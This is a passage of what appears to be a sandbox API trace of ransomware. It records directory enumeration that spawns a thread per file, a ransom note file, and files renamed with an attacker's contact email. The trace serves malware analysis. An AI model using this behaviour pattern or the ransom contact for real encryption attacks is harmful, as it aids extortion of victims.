(Denmark)_i1$(__MVID)@WAP.provxml" [0183.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0183.128] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", cAlternateFileName="92__CO~1.PRO")) returned 1 [0183.157] wcscmp (_String1="92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.157] wcscmp (_String1="92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f96ca8 [0183.157] wcscpy (in: _Dest=0x2f96ca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.157] wcscat (in: _Dest=0x2f96ca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.157] wcscat (in: _Dest=0x2f96ca8, _Source="92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" [0183.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0183.158] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", cAlternateFileName="93__CO~1.PRO")) returned 1 [0183.158] wcscmp (_String1="93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.158] wcscmp (_String1="93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f8d3b0 [0183.158] wcscpy (in: _Dest=0x2f8d3b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.158] wcscat (in: _Dest=0x2f8d3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.158] wcscat (in: _Dest=0x2f8d3b0, _Source="93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\93__Connections_Cellular_3 (Denmark)_i3$(__MVID)@WAP.provxml" [0183.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0183.159] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="94__CE~1.PRO")) returned 1 [0183.159] wcscmp (_String1="94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0183.159] wcscmp (_String1="94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0183.159] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe16f0 [0183.159] wcscpy (in: _Dest=0x2fe16f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.159] wcscat (in: _Dest=0x2fe16f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.159] wcscat (in: _Dest=0x2fe16f0, _Source="94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\94__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0183.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe16f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0183.160] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="95__CE~1.PRO")) returned 1 [0183.160] wcscmp (_String1="95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0183.160] wcscmp (_String1="95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0183.160] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x3054488 [0183.160] wcscpy (in: _Dest=0x3054488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.160] wcscat (in: _Dest=0x3054488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.160] wcscat (in: _Dest=0x3054488, _Source="95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\95__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0183.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0183.161] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="96__CO~1.PRO")) returned 1 [0183.161] wcscmp (_String1="96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.161] wcscmp (_String1="96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f021d0 [0183.161] wcscpy (in: _Dest=0x4f021d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.161] wcscat (in: _Dest=0x4f021d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.161] wcscat (in: _Dest=0x4f021d0, _Source="96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\96__Connections_Cellular_Orange (Denmark)_i0$(__MVID)@WAP.provxml" [0183.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f021d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0183.161] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="97__CE~1.PRO")) returned 1 [0183.161] wcscmp (_String1="97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0183.162] wcscmp (_String1="97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0183.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x30545c0 [0183.162] wcscpy (in: _Dest=0x30545c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.162] wcscat (in: _Dest=0x30545c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.162] wcscat (in: _Dest=0x30545c0, _Source="97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\97__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0183.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30545c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0183.162] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90411c14, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90411c14, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="98__CO~1.PRO")) returned 1 [0183.162] wcscmp (_String1="98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.162] wcscmp (_String1="98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fe1848 [0183.163] wcscpy (in: _Dest=0x2fe1848, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.163] wcscat (in: _Dest=0x2fe1848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.163] wcscat (in: _Dest=0x2fe1848, _Source="98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" [0183.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0183.163] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="99__CO~1.PRO")) returned 1 [0183.163] wcscmp (_String1="99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.163] wcscmp (_String1="99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x3056bd0 [0183.163] wcscpy (in: _Dest=0x3056bd0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.163] wcscat (in: _Dest=0x3056bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.163] wcscat (in: _Dest=0x3056bd0, _Source="99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" [0183.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0183.164] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="9__CON~1.PRO")) returned 1 [0183.164] wcscmp (_String1="9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.164] wcscmp (_String1="9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f01cb0 [0183.164] wcscpy (in: _Dest=0x4f01cb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.164] wcscat (in: _Dest=0x4f01cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.164] wcscat (in: _Dest=0x4f01cb0, _Source="9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" [0183.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0183.165] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cde5cea, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cde5cea, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cde5cea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0183.165] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0183.165] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0183.165] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cde5cea, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cde5cea, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cde5cea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0183.166] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0183.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0183.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6d70) returned 1 [0183.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b2c8) returned 1 [0183.171] RtlExitUserThread (Status=0x0) Thread: id = 2493 os_tid = 0xde0 [0176.363] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.364] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d958) returned 1 [0176.364] RtlExitUserThread (Status=0x0) Thread: id = 2494 os_tid = 0xdec [0176.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6e38 [0176.365] wcscpy (in: _Dest=0x2fa6e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0176.365] wcscat (in: _Dest=0x2fa6e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" [0176.365] wcscat (in: _Dest=0x2fa6e38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*" [0176.365] RtlAllocateHeap 